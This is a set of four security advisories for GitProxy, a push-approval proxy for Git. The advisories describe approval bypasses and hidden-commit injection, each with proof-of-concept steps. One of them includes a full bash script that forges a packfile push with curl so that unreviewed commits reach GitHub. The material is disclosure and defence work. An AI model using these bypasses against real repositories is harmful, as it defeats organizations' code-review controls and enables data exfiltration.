Filter by signal
4 GitProxy CVEs, newest first
GitProxy New Branch Approval Exploit ### Summary An attacker can exploit the way GitProxy handles new branch creation to bypass the approval of prior commits on the parent branch. Because it can greatly affect system integrity, we classify this as a High impact vulnerability. ### Details GitProxy checks for the `0000000000000000000000000000000000000000` hash to detect new branches. This is used to process the commit accordingly in both `getDiff.ts` and `parsePush.ts`. However, the logic can be exploited as follows: 1. Make a commit in branch `a` (could be `main`) 2. Make a new branch `b` from that commit 3. Make a new commit in `b`, then approve it/get it approved 4. Go back to `a`, and attempt to push this commit to the proxy The unapproved commit from `a` will be pushed to the remote. ### PoC To reproduce this vulnerability: 1. Clone the target repository and make an unapproved commit on a mainline branch (e.g. main): ```bash git checkout -b a origin/main echo "DEBUG=true" > config.env git add config.env git commit -m "Sensitive debug config" git push proxy a ``` 2. Without approving/getting the commit approved on branch `a`, create a new branch `b` based on it: ```bash git checkout -b b echo "feature x implemented" > feature.txt git add feature.txt git commit -m "Feature implementation" git push proxy b ``` 3. Approve/get approval for the push to branch `b`. 4. Now attempt to push the original unapproved commit from branch `a`: ```bash git checkout a git push proxy a ``` Prior to `1.19.2`, this results in unapproved commits from `a` getting pushed without any policy checks or explicit approval. From `1.19.2` onwards, this flow will allow pushing all commits to branch `b` (and explicit approval will be asked for the changes on `b` only). However, commits on branch `a` now require approval on push. If merging branch `b` into `a`, this also requires explicit approval of the (previously unapproved) commits originating from `a` to prevent loopholes. ### Impact The vulnerability impacts all users or organizations relying on GitProxy to enforce policy and prevent unapproved changes. It requires no elevated privileges beyond regular push access, and no extra user interaction. It does however, require a GitProxy administrator or designated user (`canUserApproveRejectPush`) to approve pushes to the child branch.
GitProxy Hidden Commits Injection ### Summary An attacker can inject extra commits into the pack sent to GitHub, commits that aren’t pointed to by any branch. Although these “hidden” commits never show up in the repository’s visible history, GitHub still serves them at their direct commit URLs. This lets an attacker exfiltrate sensitive data without ever leaving a trace in the branch view. We rate this a High‑impact vulnerability because it completely compromises repository confidentiality. ### Details The proxy currently trusts only the ref‑update line (`oldOid → newOid`) and doesn't inspect the packfile’s contents Because the code only runs `git rev-list oldOid..newOid` to compute **introducedCommits** but **never** checks which commits actually arrived in the pack, a malicious client can append extra commits. Those “hidden” commits won’t be pointed to by any branch but GitHub still stores and serves them by SHA. <img width="2556" height="744" alt="Screenshot 2025-07-16 at 12 29 19" src="https://github.com/user-attachments/assets/abf459a9-310b-4819-a989-797c7e871790" /> ### PoC #### Prerequisites - A GitHub Personal Access Token stored in `~/.github-test-pat`. - A test repository also registered in git-proxy, e.g. `your-org/test-repo.git`, to which you have push rights. #### 1. Prepare the “visible” and “hidden” commits ```bash # Clone the test repository git clone http://localhost:8000/your-org/test-repo.git cd test-repo # 1. Record the original HEAD ORIG_COMMIT=$(git rev-parse HEAD) # 2. Create branch 'foo' and add a visible commit git checkout -b foo echo "visible commit" >> file.txt git add file.txt git commit -m "Visible commit" VISIBLE_COMMIT=$(git rev-parse HEAD) # 3. Go back to the original commit and create a hidden-branch git checkout $ORIG_COMMIT git checkout -b hidden-branch echo "hidden change" > hidden.txt git add hidden.txt git commit -m "Hidden commit" HIDDEN_COMMIT=$(git rev-parse HEAD) # Return to 'foo' git checkout foo ``` #### 2. Push only the visible commit to branch `foo` ```bash git push --set-upstream origin foo # An authorized user approves this push via your normal review workflow ``` #### 3. Build and push a pack containing the hidden commit Create a script named `upload-pack.sh` (replace the placeholder variables with the SHAs you recorded above): ```bash #!/usr/bin/env bash REMOTE_URL="http://localhost:8000/your-org/test-repo.git" REF_NAME="refs/heads/foo" ORIG_COMMIT="<<ORIG_COMMIT>>" NEW_COMMIT="<<VISIBLE_COMMIT>>" OLD_COMMIT="0000000000000000000000000000000000000000" HIDDEN_COMMIT="<<HIDDEN_COMMIT>>" # 1. List all objects for the visible and hidden commits git rev-list --objects --no-object-names "^${ORIG_COMMIT}" ${NEW_COMMIT} > objects.txt git rev-list --objects --no-object-names "^${ORIG_COMMIT}" ${HIDDEN_COMMIT} >> objects.txt # 2. Pack them into a single packfile cat objects.txt git pack-objects --stdout < objects.txt > packfile # 3. Construct the Git smart‑protocol update header printf "${OLD_COMMIT} ${NEW_COMMIT} ${REF_NAME}\0 report-status-v2 side-band-64k object-format=sha1 agent=git/2.39.5" > update_line UPDATE_LINE_LEN="$(wc -c < update_line)" printf "%04x" $((UPDATE_LINE_LEN + 4)) > output cat update_line >> output # Git smart protocol expects a flush packet PKT_FLUSH="0000" printf "%s" "${PKT_FLUSH}" >> output # Append the packfile cat packfile >> output # 4. Send the malicious push via curl curl -u ${USER}:"$(<~/.github-test-pat)" \ -X POST "${REMOTE_URL}/git-receive-pack" \ -H "Content-Type: application/x-git-receive-pack-request" \ -H "Accept: application/x-git-receive-pack-result" \ --user-agent "git/2.42.0" \ --data-binary @output | cat -v ``` Make it executable: ```bash chmod +x upload-pack.sh ``` Run it: ```bash ./upload-pack.sh ``` #### 4. Verify the hidden commit Open in your browser (or via `curl`): ``` https://github.com/your-org/test-repo/commit/<<HIDDEN_COMMIT>> ``` You will see the **“Hidden commit”**, even though it is not referenced by any branch. ### Impact - **Data Exfiltration (Confidentiality breach):** Attackers can inject secrets, credentials, or proprietary data into any repository they push to via git-proxy. - **Undetectable in UI:** Since the hidden commits never appear in branch graphs, standard code review will not surface them. - **Persistence Window:** GitHub retains unreferenced objects for a period long enough to allow automated retrieval before garbage‑collecting them.
GitProxy Backfile Parsing Exploit ### Summary An attacker can craft a malicious Git packfile to exploit the PACK signature detection in the `parsePush.ts`. By embedding a misleading PACK signature within commit content and carefully constructing the packet structure, the attacker can trick the parser into treating invalid or unintended data as the packfile. Potentially, this would allow bypassing approval or hiding commits. ### Details The affected version of `parsePush.ts` attempts to locate the Git PACK file by looking for the last occurrence of the string "PACK" in the incoming push payload: ```ts const packStart = buffer.lastIndexOf('PACK'); ``` This assumes that any "PACK" string near the end of the push is the beginning of the actual binary Git packfile. However, Git objects (commits, blobs, etc.) can contain arbitrary content (including the word PACK) in binary or non-compressed blobs. An attacker could abuse this by: 1. Crafting a custom packfile using low-level Git tools or by manually forging one 2. Placing the string "PACK" inside a commit body or a binary file blob that appears after the real PACK start in the stream. The parser then ignores the actual push and treats the binary blob/commit body as the PACK file. The actual push contents may violate existing push policies. ### PoC 1. Make a commit on any branch (example: `test-branch`) containing the string "PACK" 2. Manually generate a custom packfile with both branches using `git pack-objects` or a low-level library/custom script: a) Add the string "PACK" after the real packfile's PACK header in the binary stream 3. Push using a custom client/raw protocol injection ### Impact Attackers with push access can hide commits from scanning/approval and make changes that bypass policies, potentially inserting unwanted/malicious code into a GitProxy protected repository. The vulnerability impacts all users or organizations relying on GitProxy to enforce policies and prevent unapproved changes. It requires no elevated privileges beyond regular push access, and no extra user interaction, however, it does require a considerable amount of technical skill and intentional effort to accomplish.
GitProxy Approval Bypass When Pushing Multiple Branches ### Summary This vulnerability allows a user to push to the remote repository while bypassing policies and explicit approval. Since checks and plugins are skipped, code containing secrets or unwanted changes could be pushed into a repository. Because it can allow policy violations to go undetected, we classify this as a High impact vulnerability. ### Details The source of the vulnerability is the push parser action `parsePush.ts`. It reads the first branch and parses it, while ignoring subsequent branches (silently letting them go through). Although the fix involves multiple improvements to the commit and push parsing logic, the core solution is to prevent multiple branch pushes from going through in the first place: ```ts if (refUpdates.length !== 1) { step.log('Invalid number of branch updates.'); step.log(`Expected 1, but got ${refUpdates.length}`); step.setError('Your push has been blocked. Please make sure you are pushing to a single branch.'); action.addStep(step); return action; } ``` ### PoC 1. Make a commit on a branch: ```bash git checkout -b safe-branch echo "Approved code" > file.txt git add . git commit -m "Approved code" git push proxy safe-branch ``` 2. Wait for approval of `safe-branch`. 3. Make a commit on a separate branch with a secret, for example: ```bash git checkout -b bad-branch echo "SECRET=abc123" > .env git add . git commit -m "Bad code" ``` 4. Push both at the same time: `git push proxy safe-branch bad-branch` #### Expected Result Ideally, this would force checks to run for the second branch while sending it out for approval. Meanwhile, the first branch would be pushed to the remote. A simpler solution is to simply prevent multiple branch pushes. #### Actual Result Both branches get pushed to the remote, and second branch bypasses the proxy. ### Impact Attackers with push access can bypass review policies, potentially inserting unwanted/malicious code into a GitProxy-protected repository. The vulnerability impacts all users or organizations relying on GitProxy to enforce policies and prevent unapproved changes. It requires no elevated privileges beyond regular push access, and no extra user interaction. It does however, require a GitProxy administrator or designated user (`canUserApproveRejectPush`) to approve the first push. It is much more likely that a well-meaning user would trigger this accidentally.
